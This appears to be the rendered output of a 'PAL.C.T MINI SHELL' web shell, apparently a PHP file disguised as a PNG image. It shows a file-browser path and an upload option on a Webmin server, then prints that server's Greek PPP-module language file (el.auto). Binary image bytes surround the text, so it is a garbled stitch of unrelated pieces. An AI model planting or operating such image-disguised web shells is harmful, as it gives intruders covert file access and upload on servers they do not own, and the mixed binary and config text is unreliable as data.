php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/pap/lang/
upload
files >> //usr/libexec/webmin/pap/lang/el.auto

index_title=Διακομιστής Dialin PPP
index_enopfile=Το αρχείο κωδικών πρόσβασης PPP '$1' δεν υπάρχει στο σύστημά σας. Ίσως δεν έχει εγκατασταθεί το PPP
index_table=PPP Dial-in και Dial-out λογαριασμούς
index_user=Όνομα χρήστη
index_server=Υπηρέτης
index_uany=ΟΠΟΙΟΣ
index_sany=ΟΠΟΙΟΣ
index_create=Δημιουργήστε νέο λογαριασμό PPP.
index_info=Το Webmin μπορεί να ρυθμιστεί έτσι ώστε οι αλλαγές στη λίστα χρηστών Unix να εφαρμόζονται αυτόματα στη λίστα λογαριασμών PPP. Αυτό θα λειτουργήσει μόνο όταν η ενότητα <tt>Χρήστες και ομάδες</tt> Webmin χρησιμοποιείται για την προσθήκη, τη διαγραφή ή την αλλαγή χρηστών.
index_onadd=Προσθέστε έναν λογαριασμό PPP όταν προστεθεί ένας χρήστης Unix, για τον διακομιστή
index_onchange=Αλλάξτε το λογαριασμό PPP όταν αλλάζει ένας χρήστης Unix
index_ondelete=Διαγράψτε το λογαριασμό PPP όταν διαγράφεται ένας χρήστης Unix
index_apply=Ισχύουν
index_return=Δείκτης ΣΔΙΤ
index_none=Δεν έχετε πρόσβαση σε κάποια από τα χαρακτηριστικά αυτής της ενότητας.
index_delete=Διαγραφή επιλεγμένων λογαριασμών

secrets_title=Λογαριασμοί PPP
secrets_return=δείκτης
secrets_none=Δεν έχουν δημιουργηθεί ακόμα λογαριασμοί PPP.
secrets_ecannot=Δεν επιτρέπεται η επεξεργασία λογαριασμών PPP

edit_secret_etitle=Επεξεργασία Λογαριασμού PPP
edit_secret_ctitle=Δημιουργία λογαριασμού PPP
edit_secret_acc=Λογαριασμός PPP
edit_secret_user=Όνομα χρήστη
edit_secret_serv=Υπηρέτης
edit_secret_sany=Οποιος
edit_secret_uany=Οποιος
edit_secret_pass=Κωδικός πρόσβασης
edit_secret_none=Κανένας
edit_secret_ffile=Από το αρχείο
edit_secret_leave=Αφήστε αμετάβλητη
edit_secret_setto=Οριστεί σε
edit_secret_vaddr=Ισχύουσες διευθύνσεις
edit_secret_aany=Επιτρέψτε οποιαδήποτε
edit_secret_anone=Αφήστε κανένα
edit_secret_alist=Επιτρέπονται εισηγμένες ..
edit_secret_save=Αποθηκεύσετε
edit_secret_del=Διαγράφω
edit_secret_return=λίστα λογαριασμών

save_secret_esave=Αποτυχία αποθήκευσης λογαριασμού
save_secret_enoip=Το '$1' δεν είναι έγκυρη διεύθυνση

log_create=Δημιουργήθηκε λογαριασμός PPP $1 
log_modify=Τροποποιημένος λογαριασμός PPP $1 
log_delete=Διαγραμμένος λογαριασμός PPP $1 
log_deletes=Διαγράφηκαν $1 λογαριασμοί PPP
log_sync=Τροποποιήθηκε συγχρονισμός χρήστη unix
log_apply=Εφαρμοσμένη ρύθμιση Mgetty
log_options=Αποθηκευμένες επιλογές PPP
log_options2=Αποθηκευμένες επιλογές PPP για το $1 
log_dialin_create=Δημιουργήθηκε αριθμός αναγνώρισης καλούντος $1 
log_dialin_modify=Τροποποιημένος αριθμός αναγνώρισης καλούντος $1 
log_dialin_delete=Διαγραφή αριθμού ταυτότητας καλούντος $1 
log_dialin_move=Μετακίνηση αριθμού ταυτότητας καλούντος $1 
log_mgetty_create=Δημιουργήθηκε σειριακή θύρα $1 
log_mgetty_modify=Τροποποιημένη σειριακή θύρα $1 
log_mgetty_delete=Διαγραμμένη σειριακή θύρα $1 

options_title=Επιλογές PPP
options_serial=Για τη σειριακή θύρα $1 
options_dev=Για τη συσκευή $1 
options_ecmd=Η εντολή $1 διακομιστή PPP δεν βρέθηκε στο σύστημά σας. Ίσως δεν είναι εγκατεστημένο.
options_epppd=Ο διακομιστής PPP $1 που είναι εγκατεστημένος στο σύστημά σας δεν φαίνεται να είναι ο δαίμονας του Linux PPP που υποστηρίζεται από αυτήν την ενότητα.
options_elogin=Το αρχείο επιλογών σύνδεσης Mgetty $1 δεν βρέθηκε στο σύστημά σας. Ίσως το Mgetty να μην είναι εγκατεστημένο ή οι ρυθμίσεις <a href='$2'>της μονάδας σας</a> είναι εσφαλμένες.
options_desc=Οι παρακάτω επιλογές ισχύουν για όλες τις συνδέσεις ΡΡΡ που λαμβάνει ο διακομιστής σας σε όλες τις σειριακές θύρες. Θα παρακάμψουν τυχόν επιλογές που καθορίζονται από τη θύρα από τη σελίδα παραμέτρων σειριακής θύρας.
options_header=Επιλογές διακομιστή PPP
options_autoppp=Αυτόματη ανίχνευση συνδέσεων PPP σε σειριακές θύρες; (Συνιστάται)
options_ip=IP διευθύνσεις PPP
options_auto=Από τον πελάτη
options_local=Τοπική διεύθυνση IP
options_remote=Απομακρυσμένη διεύθυνση IP
options_netmask=PPP netmask διασύνδεσης
options_proxyarp=Δημιουργήστε καταχώρηση ARP μεσολάβησης;
options_auth=Απαιτείται έλεγχος ταυτότητας;
options_auth0=Όχι, αλλά αποτρέψτε τα δρομολογημένα IP
options_auth1=Ποτέ
options_auth2=Πάντα
options_lock=Κλείστε τη σειριακή θύρα;
options_ctrl=Λειτουργία γραμμών ελέγχου
options_ctrl0=Τοπικός
options_ctrl1=Μοντέμ
options_dns=Διακομιστές DNS για πελάτες
options_edns='$1' δεν είναι μια έγκυρη διεύθυνση IP διακομιστή DNS
options_login=Επίσης κάνετε unix έλεγχο ταυτότητας;
options_idle=Χρόνος αναμονής πριν από την αποσύνδεση
options_idle_def=Ποτέ
options_eidle=Έλλειψη ή μη έγκυρος χρόνος αδράνειας
options_ecannot=Δεν επιτρέπεται η επεξεργασία επιλογών PPP

mgetty_title=Διαμόρφωση σειριακής θύρας
mgetty_ecmd=Η εντολή $1 δεν βρέθηκε στο σύστημά σας. Αυτό το πρόγραμμα χρειάζεται για να χειριστείς τις συνδέσεις σειριακής θύρας μέσω μόντεμ ή απευθείας σύνδεσης.
mgetty_desc=Προκειμένου ο διακομιστής σας να επιτρέπει συνδέσεις σε σειριακή θύρα μέσω μόντεμ ή απευθείας σύνδεσης, πρέπει να αναφέρεται παρακάτω. Όταν προσθέσετε μια θύρα σε αυτήν τη λίστα, το πρόγραμμα $1 θα ρυθμιστεί ώστε να απαντά σε συνδέσεις μόντεμ και να εμφανίζει μια ερώτηση σύνδεσης.
mgetty_add=Προσθέστε μια νέα σειριακή θύρα.
mgetty_tty=Σειριακή συσκευή
mgetty_vgetty=Φωνητικό ταχυδρομείο
mgetty_speed=Ταχύτητα θύρας
mgetty_auto=Αυτόματο
mgetty_type=Τύπος
mgetty_direct=Απευθείας σύνδεση
mgetty_modem=Μοντέμ
mgetty_answer=Απάντηση μετά
mgetty_config=Port config PPP
mgetty_cedit=Επεξεργασία ..
mgetty_rings=δακτύλιο (-α)
mgetty_none=Δεν έχουν διαμορφωθεί ακόμη σειριακές θύρες για πρόσβαση μέσω dial-in.
mgetty_create=Προσθήκη της σειριακής θύρας
mgetty_edit=Επεξεργασία σειριακής θύρας
mgetty_ts=Σειριακή θύρα $1 
mgetty_other=Άλλη συσκευή ..
mgetty_baud=baud
mgetty_header=Επιλογές διαμόρφωσης σειριακής θύρας
mgetty_return=λίστα σειριακών θυρών
mgetty_back=Απαντήστε στο ringback εντός
mgetty_back_def=Το Ringback είναι απενεργοποιημένο
mgetty_secs=δευτερόλεπτα
mgetty_prompt=Προτροπή σύνδεσης
mgetty_mode=Λειτουργία μόντεμ
mgetty_df=Δεδομένα ή φαξ
mgetty_d=Μόνο δεδομένα
mgetty_f=Μόνο φαξ
mgetty_err=Αποτυχία αποθήκευσης σειριακής θύρας
mgetty_etty=Λείπει ή μη υπάρχουσα σειριακή συσκευή
mgetty_espeed=Έλλειψη ή μη έγκυρη ταχύτητα
mgetty_eanswer=Έλλειψη ή μη έγκυρος αριθμός κουδουνιών
mgetty_eback=Έλλειψη ή μη έγκυρος αριθμός δευτερολέπτων κλήσης
mgetty_eclash=Η σειριακή θύρα $1 χρησιμοποιείται ήδη
mgetty_apply=Εφαρμογή διαμόρφωσης
mgetty_applydesc=Κάντε κλικ σε αυτό το κουμπί για να εφαρμόσετε την τρέχουσα διαμόρφωση σειριακής θύρας εκτελώντας την εντολή $1 και σκοτώνοντας όλες τις διαδικασίες του Mgetty.
mgetty_applyerr=Αποτυχία εφαρμογής διαμόρφωσης
mgetty_ecannot=Δεν επιτρέπεται η επεξεργασία διαμορφώσεων σειριακής θύρας

dialin_title=Πρόσβαση σε αναγνωριστικό καλούντος
dialin_desc=Αυτή η σελίδα σάς επιτρέπει να ρυθμίσετε τις παραμέτρους του Mgetty για να επιτρέψετε ή να αρνηθείτε την πρόσβαση dialin με βάση τον αριθμό τηλεφώνου ενός καλούντος. Όταν εμφανιστεί μια κλήση, η πρώτη καταχώρηση στη λίστα που αντιστοιχεί στον αριθμό τηλεφώνου θα καθορίσει εάν η κλήση είναι αποδεκτή ή όχι.
dialin_efile=Δεν βρέθηκε στο σύστημα σας το αρχείο ελέγχου πρόσβασης του χρήστη Mgetty ID $1. Ίσως το Mgetty να μην είναι εγκατεστημένο ή οι ρυθμίσεις <a href='$2'>της μονάδας σας</a> είναι εσφαλμένες.
dialin_add=Προσθέστε έναν νέο αριθμό αναγνώρισης καλούντος.
dialin_number=Τηλεφωνικό νούμερο
dialin_ad=Δράση
dialin_allow=Επιτρέπω
dialin_deny=Αρνούμαι
dialin_nonumbers=Δεν έχουν ακόμα ρυθμιστεί αριθμοί αναγνώρισης καλούντος. Όλες οι κλήσεις θα γίνουν αποδεκτές.
dialin_all=Όλοι οι αριθμοί
dialin_none=Άγνωστοι αριθμοί
dialin_match=Αριθμοί που αρχίζουν με
dialin_return=λίστα αναγνώρισης καλούντος
dialin_edit=Επεξεργασία αριθμού αναγνώρισης καλούντος
dialin_create=Δημιουργία αριθμού ταυτότητας καλούντος
dialin_header=Στοιχεία αριθμού αναγνώρισης καλούντος
dialin_move=Κίνηση
dialin_err=Αποτυχία αποθήκευσης του αριθμού αναγνώρισης καλούντος
dialin_enumber=Έλλειψη ή μη έγκυρος αριθμός τηλεφώνου
dialin_ecannot=Δεν επιτρέπεται η επεξεργασία της πρόσβασης αναγνώρισης καλούντος

acl_pages=Διαθέσιμες σελίδες
acl_direct=Πηγαίνετε απευθείας σε μια σελίδα;

sync_ecannot=Δεν επιτρέπεται η επεξεργασία επιλογών συγχρονισμού unix-ppp
sync_title=Συγχρονισμός χρηστών

delete_err=Αποτυχία κατάργησης λογαριασμών
delete_enone=Δεν έχει επιλεγεί
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`